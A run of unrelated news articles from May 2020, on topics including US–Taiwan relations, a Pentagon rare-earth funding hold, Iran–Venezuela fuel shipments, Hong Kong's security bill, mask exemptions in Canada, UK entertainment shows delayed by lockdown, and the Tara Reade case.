"Since China has risen to such prominence in the world already, every decision China makes has significance for, and probable impact upon, the rest of us," he said.
As Taiwans president was inaugurated for a second term this week, Trump administration officials had some choices to make: How do they congratulate her? Which U.S. official does what?

And, above all, how much do they stick it to the Beijing government in the process?

They ultimately went with a mix: A State Department official and a top White House aide sent video messages for the event, while Secretary of State Mike Pompeo opted for a written statement in advance and some public remarks afterward. The U.S. also announced a potential deal to sell torpedoes to the island, whose disputed political status has long been a fraught subject of U.S.-China relations.

But President Donald Trump himself has yet to publicly weigh in.

So far, the maneuvering has appeared to be aggressive enough to inspire both Taiwanese gratitude and Chinese rhetorical backlash; Beijing has threatened necessary measures in response to Americas expressions of congratulations. But  for now at least  the Trump teams tactics also have been restrained enough to keep tensions from spiraling out of control.

The Trump administrations approach to Taiwanese President Tsai Ing-wens Wednesday inauguration in illustrative of its broader strategy toward an authoritarian government in Beijing that it views as a long-term threat to U.S. dominance: Push Chinese Communist Party leaders hard, but not to the point of diplomatic rupture or open warfare.

It is a tactic that has been pursued with added vigor in recent months as the coronavirus pandemic has hardened differences between U.S. and China, while giving Taiwan  which has seen just seven deaths since the outbreak began  something to boast about. For better or worse, Taiwan  whose democracy the Trump administration openly supports, but whose independence it does not  has become a useful cudgel for the United States.

No Taiwan official is going to turn down some expression of help thats offered on a silver platter from the United States, said Daniel Russel, a former senior Asia hand in the Obama administration. He added, however, that Taiwans leaders have very mixed feelings. Without a doubt, they harbor a great fear of being used as a pawn or a chip.

Story continues

The relationship between Washington and Beijing has been on a downward slope for years, and it has grown increasingly ugly under Trump because of a tariff-driven trade war he launched over his belief that China was taking advantage of America on the economic front.

The coronavirus pandemic emerged in China late last year, and Taiwan, thanks to its past experiences with infectious diseases in the region, recognized the danger early. Its technocrat-driven response has severely limited the outbreak on its soil, and it has since touted its success as a counterpoint to Chinese stumbles. Taiwan has, among other moves, sent face masks to other countries, including the U.S.  part of a mask diplomacy strategy that Beijing also has used.

The U.S. has seized on Taiwans success as a hammer with which to hit China.

The Trump administration recently called on the World Health Organization to allow Taiwan to participate in meetings of the World Health Assembly, its main decision-making body, under observer status. The assembly met this past week, without the Taiwanese being permitted a role amid Chinese resistance. And Americas push for Taiwans inclusion was somewhat ironic given Trumps own recent threats to quit the World Health Organization.

Still, the Trump administration clearly thought the effort was worth it to put Beijing on the spot.

The [Peoples Republic of Chinas] spiteful action to silence Taiwan exposes the emptiness of its claims to want transparency and international cooperation to fight the pandemic, and makes the difference between China and Taiwan ever more stark, Pompeo said in a statement.

Taiwan is a model world citizen, he added, while the PRC continues to withhold vital information about the virus and its origins.

The Trump administration is also using Taiwan as a weapon in its battle with China over 5G wireless technology.

Earlier this week, American officials heralded an announcement by Taiwan Semiconductor Manufacturing Company, one of the worlds leading computer chip makers, that it would build a factory in Arizona. The next day, the Commerce Department announced a rule change that could bar Chinese tech giant Huawei from doing business with TSMC and other global chip manufacturers.

The U.S. and Taiwan do not have formal diplomatic relations, and officially the U.S. has a One China policy that recognizes the regime in Beijing as the government of China. But the U.S. and Taiwan maintain strong unofficial relations, as well as robust economic ties, and it is U.S. policy to help Taiwan defend itself against Beijing.

In the transition period before he took office, Trump agreed to speak to the Taiwanese president, a deviation from diplomatic norms that, while probably not part of a calculated strategy on Trumps part, stunned Asia watchers. That incident aside, Trump aides have long seen bolstering Taiwan as critical to their pressure campaign on Chinas communist leaders.

Perhaps nowhere has the effort to strengthen ties been clearer than in the military-to-military realm.

Last year, the Trump administration greenlit a controversial F-16 fighter jet sale and a $2.2 billion package of M1A2T Abrams tanks and portable Stinger anti-aircraft missiles that infuriated Beijing.

In keeping with the increased push for weapons sales to Taiwan, the State Department on Wednesday approved a possible sale of 18 submarine-launched torpedoes for $180 million. The proposed sale will serve as a deterrent to regional threats, the department said.

As China aggressively builds up its military capability, even signaling an increased willingness to attack Taiwan, U.S. officials are now pushing to normalize weapons sales, sell more advanced equipment and even potentially begin conducting joint naval exercises with the island  all moves sure to further enrage Beijing.

Some of the moves have been fueled by the coronavirus pandemic, which has clarified the competition with China in the public sphere, said Elbridge Colby, a former deputy assistant secretary of Defense. Covid has made it clear that we are in a situation of competition  to the American people, he said.

Randall Schriver, who served as assistant secretary of Defense for Indo-Pacific affairs until January, predicted that Washington will seek to help Taipei further modernize its military, potentially with additional sales of coastal missile defenses, spy drones and other intelligence, surveillance and reconnaissance capabilities.

This was the trajectory that was already planned, Schriver said. The recent experience with coronavirus is an accelerant to some of those plans.

Officials have also considered enhanced training, including possible joint naval exercises, as a counter to the growing threat from Beijing, Schriver said. Aside from training associated with major foreign military sales such as the F-16 deal, historically, the U.S. military has refrained from exercising with Taiwan because of Chinas sensitivities.

Outside the military realm, Taipei is pressing Washington for additional support. For example, Taiwanese officials are pushing for some kind of bilateral trade deal, Schriver noted. Taiwan is already a major U.S. trading partner.

Taiwans leaders have repeatedly expressed gratitude for Trumps support over the years. For instance, Taiwan was one of a few foreign entities to offer aid to the United States  $800,000 worth  as Hurricane Harvey wreaked havoc in 2017, a symbolic move more than anything else.

This week, amid the inaugural festivities, Tsais government expressed its pleasure over receiving the various messages of congratulations from U.S. officials. In particular, it highlighted the video messages sent from Assistant Secretary of State David Stilwell and White House deputy national security adviser Matt Pottinger.

Both men made subtle digs at China in their comments.

Stilwell said the world owes Taiwan a debt for ringing the alarm about the coronavirus crisis early on. Pottinger, speaking in fluent Mandarin, hit a similar point, indirectly tweaking Beijing by reminding it that the illness began on its soil  a point China has at times sought to dispute through some of its messaging.

Taiwan learned critical lessons from the 2003 SARS epidemic, Pottinger said, according to a translation shared on Tsais Twitter account, and applied them in advance of the outbreak of the mysterious disease the Chinese state-controlled media called Wuhan pneumonia.

Pompeo did not go so far as to send a video message or engage in a phone call with Tsai, and Trump has kept silent, at least as far as has been publicly acknowledged. Serious direct engagement by a U.S. president or even his chief diplomat could have enraged Beijing well beyond its usual anger at U.S.-Taiwan overtures, analysts said.

But Pompeos issuance of a written congratulatory statement  which called Taiwan a force for good in the world, referred to Tsai as Taiwans president and was read aloud during Tsais inauguration ceremony  was a highly unusual, likely unprecedented, move.

The secretary of State further praised Taiwan during a press conference on Wednesday. However, Pompeo sidestepped a question on whether the U.S. should consider formalizing its relationship with Taipei, instead using the moment to criticize what he said was Beijings handling of the pandemic.

Were beginning to work to make sure we get America First, that we get this foreign policy right, and that we respond to these risks that the Chinese Communist Party presents to the United States in an appropriate way, Pompeo said.

Chinas government reacted in harsh but predictable terms to the American expressions of support for Taiwan this week, saying it threatens the bilateral relationship between Beijing and Washington.

China will take necessary measures in response to the U.S. erroneous practices, and the consequences will be borne by the U.S. side, Chinese Foreign Ministry spokesman Zhao Lijian said Wednesday.

People close to Taiwanese leaders say they are, for the most part, thrilled with the Trump administrations pro-Taipei bent so far, but there are some lingering disappointments, some centered on diplomatic protocols.

The fact that no senior U.S. official visits Taiwan, despite U.S. legislation that encourages such travel, is one sore point. Another is the restrictions around the types of meetings Taiwanese representatives get with U.S. diplomats. Taiwan doesnt have an embassy in Washington; its interests are instead represented by whats known as the Taipei Economic and Cultural Representative Office.

Taiwanese officials are careful in how they speak about the all-important relationship with the U.S., mindful of Beijings red lines. A TECRO representative said that Taiwan was grateful for the support from our diplomatic allies, as well as the United States, Japan, and many other like-minded countries on the issue of Taiwan's participation in the World Health Assembly.

Its the little things, said one person close to TECRO officials. Trump aides all say, I love Taiwan, its wonderful, its the greatest democracy in East Asia. But the Taiwanese cant meet in the State Department. They have to meet in a restaurant.

Theres also the always unnerving questions about how reliable Trump himself truly is, given his vacillation toward China over the years and his occasional broadsides against longstanding allies.

While Trump campaigned for office on an anti-China message, he has generally tried to maintain a good relationship with Chinese leader Xi Jinping. He even praised Xis early response to the pandemic, possibly to protect an early-phase trade deal between the two countries and hopes of a bigger deal later.

In the same vein, Trump has kept to a minimum his comments on Chinas human rights abuses in places like Hong Kong, where a pro-democracy movement has been met with crackdowns.

But Trump also has questioned the One China policy. Just days ago, he floated the idea of ending ties to Beijing, claiming, Youd save $500 billion if you cut off the whole relationship.

He also recently jabbed at Xi, saying the Chinese leader was behind a disinformation and propaganda attack on the United States and Europe. China bashing also is a main theme of Trumps ongoing reelection campaign.

Ultimately, there is a tremendous amount of ambivalence in Taiwan and worry, said Russel, whose positions in the Obama administration included serving as senior director for Asian Affairs at the National Security Council. And theres reason to worry that Trump will lose interest in Taiwan. Hed trade away Taiwan in a heartbeat if he thought it would get him his trade deal with China.

There are limits to how far the Trump administration is willing to go for Taiwan.

The administration appears to have no immediate plans to formally recognize Taiwans government, a measure viewed as extreme given Beijings longstanding demand that Taipei reunify with China under the one country, two systems proposal, Schriver said.

And, despite the opportunity posed by the unusually tense relations between the U.S. and China, theres no discussion of supporting a Taiwanese bid for formal independence from Beijing. Such a move would be so provocative toward China that one senior Trump administration official said the sky would fall.

No one has ever talked about independence, the official said. Even the hard-core Taiwan lobby in D.C. doesnt seriously say that.

Thats probably fine with Taiwans current leadership. On the islands complicated political spectrum it is often cast as pro-independence, but it is also cognizant that declaring all-out independence anytime soon could prompt far more than just tough talk from Beijing.

The Taiwanese are painfully aware of the fact that, while China may have limited options to punish the U.S., it has more options for punishing Taiwan, Russel said.
By Ernest Scheyder

HOUSTON (Reuters) - The U.S. Department of Defense last month reversed its decision to fund two projects to process rare earth minerals for military weapons, one of which has controversial ties to China, according to a government document seen by Reuters and three sources familiar with the matter.

The Pentagon decision is a step backward for President Donald Trump's plan to redevelop the U.S. rare earths supply chain and reduce reliance on China, the world's largest producer of the strategic minerals used to build a range of weapons.

Australia's Lynas Corp <LYC.AX> and privately held U.S. firm MP Materials both said on April 22 they had been awarded funding by the Pentagon for rare earths separation facilities in Texas and California, respectively.

Reuters reported the same day that a Chinese company's minority stake in MP Materials, which owns the only U.S. rare earths mine, has prompted concerns from scientists at the U.S. Department of Energy.

Later that week, U.S. Senator Ted Cruz and five other senators sent a letter to the Pentagon pushing it to only fund U.S. rare earth projects.

On April 29, the Pentagon informed applicants that the decision had been "put on hold until further research can be conducted," according to a document seen by Reuters. Lynas confirmed the Pentagon's move in a statement on Friday.

MP Materials did not respond to requests for comment.

The document added that the Pentagon plans to move forward on the award once the additional research is complete. It was not clear what type of further research the military could conduct.

The U.S. military office overseeing the award said it is still under active solicitation and declined further comment. The Pentagon's headquarters did not respond to requests for comment.

The Pentagon award was designed to support processing of so-called heavy rare earths, a less-common type of the minerals used extensively in weapons.

Story continues

The mines owned by Lynas in Australia and MP Materials in California have only minor concentrations of heavy rare earths, according to U.S. Geological Survey data, prompting some controversy when the two companies last month said they were chosen.

U.S. Senator Mike Enzi, a vocal supporter of a rare earths project in his home state of Wyoming being developed by Rare Element Resources Ltd <REEMF.PK> and who signed the senators' April letter, said he would prefer Pentagon funding go to U.S. mines that support a new U.S. rare earth supply chain.

Enzi had privately complained to the Pentagon last fall that it was difficult for companies to apply for the award and, once they did, that the application review process was not transparent, according to his spokeswoman. The Pentagon extended the deadline in an attempt to appease Enzi, though his home state's rare earth project was not chosen.

Lynas, the largest producer of rare earths outside China, aims to ship rare earths from its mine in Western Australia for final processing at the Texas facility.

Reuters has reported the Pentagon is also reviewing applications for other rare earth-related funding projects. Applicants have said they expect decisions in the coming months.

The amount awarded was not published by the U.S. government, though the funds were allocated for planning work for the construction of a facility to process the minerals.

Lynas, in a statement on Friday, said it would move forward on its project. It was not immediately clear if MP Materials plan to move forward on design work for its project.

(Additional reporting by Melanie Burton in Melbourne; Editing by Amran Abocar and Edward Tobin)
Denver orders closure of facility that handles all mail for Colorado and Wyoming
Katya Jones arrives at the TRIC Awards 2020 at The Grosvenor House Hotel on March 10, 2020 in London, England. (Photo by David M. Benett/Dave Benett/Getty Images)

Strictly Come Dancing's future may be hanging in the balance for the moment but one of the show's professionals, Katya Jones, is occupy herself through becoming an NHS volunteer.

The dancer has signed up to be an NHS Volunteer Responder, although has shared that there "hasn't been anything going on" in the small town where she lives.

She told Fubar Radio: "Today the alarm went off on my phone and Im like, whats going on? I dont know what to do! It was one of the patients.

Read more: Sharon Osbourne says she was fat-shamed by her brother

"An elderly couple needed their medicine picking up from the pharmacy and taking to them and I was buzzing!

Katya Jones and Mike Bushell attending a Photocall ahead of the first night of the Strictly Come Dancing Live Tour 2020 at Arena Birmingham. (Brett Cove / Echoes Wire / Barcroft Media via Getty Images)

It comes as it is still unclear whether the popular BBC competition will still be able to go ahead amid the coronavirus pandemic.

The show typically kicks off at the beginning of September, with the stars beginning their rehearsals in the summer.

Judge Craig Revel Horwood has said the programme's team are "really gunning" to get the show on screens, but that if it weren't able to take place in its traditionally form "something else" would take its place.

Craig Revel Horwood, Motsi Mabuse, Shirley Ballas and Bruno Tonioli attend the "Strictly Come Dancing" launch show red carpet at Television Centre on August 26, 2019 in London, England. (Photo by Mike Marsland/WireImage)

Jones also divulged that she hasn't been doing too much of her day job while in lockdown. She revealed: "I swear, I did one class, I led one class, and thats it. Ive not danced at all!

The 2017 Strictly champion split from her colleague and husband Neil Jones last August, although the pair have said they remain friends.

The previous year, Jones had been pictured kissing her then-dance partner Seann Walsh who went on to jibe about Neil's sexuality. He's recently opened up on the matter, denying speculation that he is gay.
China introduced a controversial security legislation to safeguard its national security in Hong Kong in the country's rubber-stamp parliament on Friday, according to official media.

The proposal, which has been condemned by the United States and Hong Kong pro-democracy figures as an assault on the city's freedoms, was tabled on the opening day of the National People's Congress, the state-run Xinhua agency said.

The introduction of the bill came after Hong Kong was embroiled in prolonged anti-government protests last year as the city's opposition schemed with external forces in attempts to create a "colour revolution."



"The Hong Kong Special Administrative Region (HKSAR) is an inseparable part of the People's Republic of China, and the National People's Congress (NPC) is the highest organ of state power," Zhang Yesui, spokesperson for the NPC session, told a press conference on Thursday, terming the legislative move as "highly necessary."



Hong Kong, a former British colony, was handed over to China on July 1, 1997.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Face masks are dangerous to the health of some Canadians and problematic for some others.

Hey there, time traveller!

This article was published 21/5/2020 (609 days ago), so information in it may no longer be current.

A discarded face mask is shown on a street next to a mobile COVID-19 testing clinic in Montreal, Sunday, May 17, 2020, as the COVID-19 pandemic continues in Canada and around the world. THE CANADIAN PRESS/Graham Hughes

Face masks are dangerous to the health of some Canadians and problematic for some others.

In recommending people wear masks in public to prevent the spread of COVID-19, national chief public health officer Theresa Tam has also warned against judging those who can't wear them.

"Be very aware of those with different types of cognitive, intellectual disabilities, those who are hearing impaired and others," Tam said.

"Don't assume that someone who isn't wearing a mask or is wearing something different doesn't have an actual reason for it."

Asthma Canada president and CEO Vanessa Foran said simply wearing a mask could create risk of an asthma attack.

She said if a mask inhibits the ability of someone to breathe in any way, it's recommended to not wear one.

Foran suggests asthmatics wear a mask in their homes for 20 minutes to test their comfort level before venturing out, and also to head out in cooler weather.

"Wearing masks means breathing hot and humid air, so that can trigger asthma symptoms," she said.

"We say if they cannot wear a mask, they must ensure they're maintaining physical distancing and practising good hand hygiene."

Foran said people with severe allergies might also find wearing a mask difficult at this time of year.

Dominique Payment, family support representative for Autism Canada, said people on the spectrum have trouble with sensory processing.

They also have tactile, olfactory and nervous-system hypersensitivity that wearing a mask could aggravate.

"It could cause some serious challenges," she said. "Because their senses are so heightened, it affects everything."

Payment has two children on the autism spectrum. One is anxious about masks because he associates them with having his teeth cleaned at the dentist, which he dislikes.

"Unfortunately this whole COVID situation and everyone wearing masks can cause some anxiety for these children because they are associating with not-so-positive experiences."

Payment said having children put a mask on a favourite stuffed animal, or choosing a fabric colour and pattern for a mask, could help prepare them to wear one.

The deaf and hard of hearing can't read lips covered by an opaque mask, which also muffles sound for those with partial hearing.

"Typically hard-of-hearing individuals rely more on lip-reading. Masks are still a challenge for deaf people," said Wissam Constantin, vice-president of governance and membership for the Canadian Association of the Deaf.

"The sign for tired, you can sign for tired, but depending on your mouth movement, it will emphasize how exhausted you are.

"It's not only about lip-reading. It's about facial expression."

Constantin said he laboured to communicate with masked employees at a grocery store this week.

"I just wanted them to lift up the mask to tell me what they were trying to tell me," he said.

"The workers did struggle. Of course, they have their own concerns. It is a really difficult situation," he said.

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"That situation is definitely lending to more isolation within the deaf community.

"We really rely on facial expression as a form of communication, so the masks are a barrier in making those connections in the community."

Alaska-based company Rapid Response PPE has developed face masks with clear shields so the deaf and hard of hearing can see facial cues and lip movement.

"That could be useful," Constantin said. "If the ministry of public health thinks they're safe, that would really help if we were able to see mouth movement."

This report by The Canadian Press was first published May 21, 2020

 With files from The Associated Press.
Britain's Got Talent bosses are reportedly concerned the live shows will be unable to go ahead later this year due to lockdown restrictions.

Sources have claimed producers are convinced the latter half of the series - originally planned for this autumn - will be cancelled, as many acts will be unable to take part due to lockdown restrictions.

It's thought that acts such as Sign Along With Us and X1X Crew would be most at risk of taking part, along with the ongoing problem of performing without a live audience.

Worries: Britain's Got Talent bosses are reportedly concerned the live shows will be unable to go ahead later this year due to lockdown restrictions

A source told The Mirror that bringing back an act such as Sign Along With Us may not be possible, as they would be unable to perform together due to social distancing rules.

Bosses are also reportedly concerned for X1X Crew from India, as travel restrictions and quarantine measures may mean they cannot journey to the UK for the live shows.

The insider said: 'The initial plan was that the final could be filmed this autumn, but that's looking increasingly unlikely. We can't imagine an audience of that size being allowed.

Concerns: Sources have claimed producers are convinced the latter half of the series will be cancelled, as many acts such as Sign Along With Us (pictured) will be unable to take part

'Can we do it without an audience? Yes. But would we want to? No. And then there are the acts. We're going to put all those people in that choir together? You're going to fly over that dance troupe from India?

'No, we don't think that it's going to happen. I'd say its chances were very slim.'

When contacted by MailOnline a representative for Britain's Got Talent reiterated ITV's plans for the live shows to air later this year.

Too far away: Bosses are also reportedly concerned for X1X Crew (pictured) from India, as travel restrictions may mean they cannot journey to the UK for the live shows

They said: 'The Britain's Got Talent audition shows will broadcast on ITV in the next few weeks.

'We have been working with the brilliant production teams at Thames and Syco to find a way of making the live finals work, which were due to be broadcast at the end of May.

'However, in light of the latest government health guidelines and in line with our priority of safeguarding the well-being of everyone involved in our programmes, production of the live shows cannot go ahead as planned.

'The live finals will therefore be broadcast later in the year.'

Will it be back? Earlier this month BGT judge Amanda Holden claimed bosses had told her to 'keep early autumn free' in the hopes that filming can continue

Earlier this month BGT judge Amanda Holden claimed bosses had told her to 'keep early autumn free' in the hopes that filming can continue.

The live shows - which typically air over the course of a week in late May and early June - were postponed in March due to the coronavirus crisis, with only the pre-recorded auditions able to air as planned.

Speaking to HuffPost UK, the mother-of-two said: 'All of the main judges have been given a date to hold in early autumn to see if it works live.

'But we would never do it without an audience because we've always said the British public is the fifth judge.

'So we can't do it without them  it would be no fun without them! We'll see what happens, but we are planning to do it this year.'

A source added that Amanda, alongside fellow judges Alesha Dixon, David Walliams and Simon Cowell, could return in September but that progress will depend on government guidelines and advice.
Venezuela and Iran, U.S. adversaries that are stung by sanctions and hobbled by the coronavirus, are forging a closer strategic partnership, providing embattled President Nicolas Maduro a vital lifeline and offering Tehran the prospect of a new center of influence just across the Caribbean Sea from Florida.

The most public display of the deepening relationship: five oil tankers now steaming across the Atlantic Ocean, carrying what analysts estimate to be 60 million gallons of Iranian gasoline, which they say was bought with Venezuelan gold, an allegation Iran denies. The first of the ships is set to arrive in Venezuelan waters as soon as this weekend, to relieve fuel shortages so dire that the sick can't get to hospitals and produce is rotting on farms.

"You have two pariah states finding that they are able to exchange things they need for things they have," said Elliott Abrams, U.S. special representative to Venezuela.

U.S. sanctions on Iran target anyone purchasing or facilitating the purchase of petroleum products from that country, but Venezuela's oil company is already under similar sanctions. The Trump administration has also invoked the Monroe Doctrine - the 19th-century policy that rejects outside intervention in the Western Hemisphere - to move against foreign entities that do business with Maduro.

The Iranians are warning against any U.S. effort to board or blockade the vessels, and the Venezuelans are vowing to deploy warships to escort the convoy through its territorial waters.

Washington has countered by sounding an alarm over Iran's growing involvement in Venezuela. U.S. officials say they are monitoring the convoy, but tempering talk of direct engagement.

The voyage is testing how far the Trump administration is willing to go to shut down a budding relationship between two nations it considers enemies.

"My sense is that Iranians are willing to use their tankers and play a game of chicken" with the United States, said Evan Ellis, a professor of Latin American studies at the U.S. Army War College.

For Iran, exporting oil to allies has grown more difficult. In August, authorities in Gibraltar, backed by British forces, seized an Iranian supertanker carrying 2.1 million barrels of light crude. Officials said they suspected it was headed to the Syrian port of Baniyas, in violation of European Union sanctions.

Any U.S. interdiction of the convoy sailing the Atlantic now would be challenged by the Iranians and Venezuelans. But Venezuela's U.S.-backed opposition is providing some possible ammunition with claims the Iranians could be transporting more than mere gasoline.

Opposition leaders have warned that Tehran could be exporting materials for what they describe as a covert operation to help Maduro's intelligence apparatus construct a listening post in northern Venezuela to intercept aerial and maritime communications.

"For Iran, an enemy of the United States, this means they are almost touching America's tail," said Ivan Simonovis, security commissioner for Juan Guaido, the Venezuelan opposition leader recognized by the United States as the nation's rightful leader.

Maduro's communications minister dismissed those claims as "absurd."

"It's a smokescreen by Simonovis," Jorge Rodriguez wrote in a text to The Washington Post. "Venezuela and Iran have had 20 years of commercial relations and cooperation."

The nearest of the tankers, the Fortune, was some 1,300 miles from the Venezuelan refinery complex at El Palito on Thursday afternoon. The convoy was heading toward the largest U.S. military presence in the Caribbean in at least a decade. The Pentagon has dispatched destroyers, littoral combat ships, Poseidon maritime planes and Air Force surveillance aircraft to the region as part of an operation to shut down drug trafficking routes off the Venezuelan coast.

U.S. officials are downplaying Iran's suggestion that those forces will confront the convoy. Pentagon spokesman Jonathan Hoffman told reporters Thursday he was not aware of plans to launch a military operation against the Iranian tankers.

But a senior Trump administration official, speaking on the condition of anonymity to describe internal discussions, said the administration "would not abide" Iran's support of Maduro.

"The president has made clear the United States will not tolerate continued meddling by supporters of an illegitimate regime," the official said. The administration considers Maduro a usurper, saying he stole the presidential elections in 2018; the Justice Department indicted him in March on narcoterrorism charges. The United States is one of nearly 60 nations that recognizes Guaido, head of Venezuela's National Assembly, as the country's lawful leader.

"The importation of Iranian gasoline is an act of desperation by the corrupt & illegitimate Maduro regime," President Donald Trump's National Security Council tweeted Thursday. "It will not stop Venezuela's chronic fuel shortages or alleviate the suffering that Maduro has inflicted on the once prosperous people of his country."

Analysts say the administration is more likely to use additional economic sanctions than force to deter Iranian-Venezuelan trade. While Trump has staked out a hawkish positions on Iran - pulling out of the 2015 nuclear deal, imposing punishing sanctions and authorizing the January killing of the military commander Qasem Soleimani - he has at other times demonstrated a desire to avert major conflict.

As the Iranian tankers were headed west last week, the State and Treasury departments and the U.S. Coast Guard issued a global advisory to the maritime industry, warning that nations including Iran might be engaging in "deceptive shipping practices" to evade sanctions.

Adm. Craig Faller, commander of U.S. Southern Command, said this week that he believed Iran's objective was to "gain positional advantage in our neighborhood in a way that would counter U.S. interests."

"We have seen an uptick in Iranian state-sponsored activity and liaison with Venezuela that has included Quds Force" - an elite Iranian military unit - "and it has included other elements of support to the illegitimate Maduro regime cronies," he said during a video briefing on Monday with Florida International University.

Venezuela's strategic ties to Iran date back almost two decades, when then-President Hugo Chavez, the founder of its socialist state, struck a flurry of economic and financial deals with a fellow thorn in America's side - then-Iranian President Mahmoud Ahmadinejad.

Many of those deals were propaganda on paper that never truly materialized. But with both countries now under crippling U.S. sanctions and confronting painful recessions amid the coronavirus outbreak and collapsing oil prices, they are moving to solidify mutually beneficial bonds.

Maduro is struggling to keep the lights on, literally, in a country plagued by frequent and widespread blackouts, on top of shortages of gas, food, water and medical supplies. In recent months, his most critical problem has been the lack of gas.

Venezuela, an OPEC state, boasts the world's largest oil reserves. But years of mismanagement and corruption - and, more recently, U.S. sanctions on its all-important oil sector - have combined to leave its petroleum industry in tatters and its gas refineries in disrepair. Maduro's traditional backers, Russia and China, have seemed increasingly reluctant to bail him out. The Russian state-controlled oil giant Rosneft divested itself of its Venezuela operations in March and has backed off oil deals with Maduro that included shipping Venezuela desperately needed gas.

Iran, also under tough U.S. sanctions, has far less to lose.

Last month, aviation tracking firms registered more than a dozen special flights to Venezuela by Mahan Air, sanctioned by the U.S. for allegedly transporting weapons and operatives of the Iranian military abroad, including to Syria in support of Syria's Bashar al-Assad.

Russ Dallen, a partner in Caracas Capital Markets, a Florida-based company that monitors Venezuela's energy sector, said information collected by the firm indicated the flights were carrying chemicals and equipment to help Venezuela restart its moribund domestic gas refineries. Maduro's government, he said, appears to have paid for those parts - as well as the Iranian gasoline now in transit - with gold from the Central Bank.

"We track Central Bank reserves every month," Dallen said. "They suddenly went down from April to May by $700 million."

Iran's ambassador to Venezuela, Hojjatollah Soltani, denied any gold-for-gas deal with Maduro. He said this week that the two nations had the right to engage in regular bilateral trade.

"This relationship between Iran and Venezuela doesn't threaten anybody," Soltani told reporters Wednesday at the Iranian Embassy in Caracas. "It's not a danger to anyone."

---

Faiola reported from Miami. Ryan reported from Washington. Cunningham reported from Istanbul. The Washington Post's Mariana Zuniga and Ana Vanessa Herrero in Caracas, Venezuela, and Carol Morello and John Hudson in Washington contributed to this report.
Production on the Avatar sequel is set to reopen in New Zealand after shutting down in March due to the coronavirus.

Producer Jon Landau shared a shot from production showing off a look from the forthcoming sequel, which will be the first of four for the record-setting motion picture.

'Our #Avatar sets are ready - and we couldnt be more excited to be headed back to New Zealand next week,' he wrote on the social media site. 'Check out the Matador, a high speed forward command vessel (bottom) and the Picador jetboat (top) - cant wait to share more.'

The latest: Production on the Avatar sequel is set to reopen in New Zealand after shutting down in March due to the coronavirus, producer Jon Landau said Thursday

Filmmakers are still targeting the second sequel's planned release date of December 17, 2021 in spite of progress lost after they had to close up shop two months ago as countries around the globe adopted different strategies to battle the novel virus.

Director James Cameron, 65, told Empire earlier this month that he and the crew were looking to pick up the pace upon their return to the set after the lockdown put 'a major crimp in [their] stride.'

Cameron, who was back at his home in the luxe locale of Malibu, California, said that the production schedule for New Zealand was delayed amid the shutdown, and that he and his colleagues were 'trying to get back to it as quick as we can.'

He said that to their advantage, 'New Zealand seems to have been very effective in controlling the virus and their goal is not mitigation, but eradication, which they believe that they can do with aggressive contact tracing and testing.'

Back again: The character Neytiri, played by Zoe Saldana, will be in the next film

Playing catch-up: Director James Cameron, 65, told Empire earlier this month that he and the crew were looking to pick up the pace upon their return to the set after the lockdown put 'a major crimp in [their] stride'

Cameron said that even with the missed time, progress was still made on the film with some crew members able to work from home on digital effects.

'We've got everybody  everybody at Weta Digital and Lightstorm  working from home to the extent that that is possible,' he said. 'There's a very good chance that our shoot might be delayed a couple of months, but we can still do it. So that's good news.'

He said that he was hampered attempting to do his job in the director's chair in working in line with the restrictions.

'My work is on the stage doing the virtual cameras and so on, so I can do a bit of editing, but it's not great for me.'

The sequel will reunite Sam Worthington and Zoe Saldana, who headlined its 2009 release with a then-record $2.790 billion internationally. Avengers: Endgame surpassed that total last year with $2.797 billion.
The lawyer representing Tara Reade announced he is no longer taking her on as a client.

Doug Widgor said the decision to drop Ms Reade as a client was not reflective of his views on the veracity of her claim that 2020 election hopeful and former Vice President Joe Biden sexually assaulted her.

"Our decision, made on May 20, is by no means a reflection on whether then-Senator Biden sexually assaulted Ms Reade," Mr Widgor said in a statement given to CNN. "We also believe that to a large extent Ms Reade has been subject to a double standard in terms of the media coverage she has received. Much of what has been written about Ms Reade is not probative of whether then senator Biden sexually assaulted her, but rather is intended to victim shame and attack her credibility on unrelated and irrelevant matters."

Mr Widgor ended his representation of Ms Reade on Wednesday, the day after CNN published a piece examining Ms Reade's background. The report suggests Ms Reade did not graduate from Antioch University in Seattle. Ms Reade claims she received a Bachelor of Arts degree from the school.

Before representing Ms Reade, Mr Widgor represented clients who've brought sexual assault lawsuits against Fox News and Bill O'Reilly as well as accusers of Harvey Weinstein.

Recommended Joe Biden says anyone who believes Tara Reade should not vote for him

Ms Reade's educational background was called into question when Antioch University disputed her explanation for how she received her Bachelor of Arts degree. She claimed that she received the degree as part of a "protected program" wherein she earned her credits while having her identity protected. She said she changed her name in an effort to maintain distance from an abusive ex-partner. She also claimed she worked as a visiting professor on and off for five years.

A spokesperson for the university said that Ms Reade had never attended the university and that she was never a faculty member, but did provide administrative work. A university official also said that a protected program never existed and does not currently exist.

Ms Reade graduated from the Seattle University School of Law in 2004, and enrolled under an Alternative Admission Program.

Questions over Ms Reade's educational credentials may throw into question court cases in which she testified as an expert witness.

According to a New York Times investigation, Ms Reade acted as a government witness on domestic violence cases in Monterey County for nearly a decade. As a result, a number of California defence lawyers are considering challenging the convictions of clients whose cases included testimony by Ms Reade.

Ms Reade became the subject of intense media scrutiny after she publicly claimed Mr Biden sexually assaulted her in 1993.

She claimed that Mr Biden pressed her against a wall and groped her underneath her clothes, which culminated in him penetrating her with his finger.

Ms Reade filed a criminal complaint with police on 9 April 2020 regarding the incident.

Mr Biden has faced several claims from women accusing him of inappropriate touching. Ms Reade's account is the only one in which Mr Biden is accused of sexual assault.

Mr Biden has maintained that the claims against him are untrue.

"The truth matters ... it did not happen. Period," Mr Biden said.
D owning Street has urged the public to continue to abide by the social distancing rules over the bank holiday weekend.

With scorching temperatures expected over the weekend , councils with responsibility for beauty spots have also warned people to stay away.

The Prime Ministers official spokesman said: All of the anecdotal evidence suggests that the vast majority of the public are still following the rules.

And by doing so are helping to save lives and we thank them for that.

We recognise the sacrifices which the public are making but as we head into the long weekend we must all renew our efforts and continue to abide by the social distancing rules.

Fears have been raised about a lack of social distancing at beauty spots / PA

Pictures of crowds flocking to beaches in Brighton and Southend in recent days have raised fears over social distancing.

Following the easing of some lockdown measures last week, there are no restrictions on how far people can go to get to the countryside, National Parks and beaches in England.

But the National Trust is urging people across England to stay close to home and explore local green spaces and countryside this weekend, as part of the effort to make easing of the lockdown work.

With the Met Office forecasting that temperatures could reach highs of 23C on Monday, many people may be planning trips to the beach.

Visitors to Brighton in East Sussex will find stewards stationed around the beach to encourage physical distancing and direct people to less busy parts of the seafront if it becomes too busy.

Stewards in Brighton / Getty Images

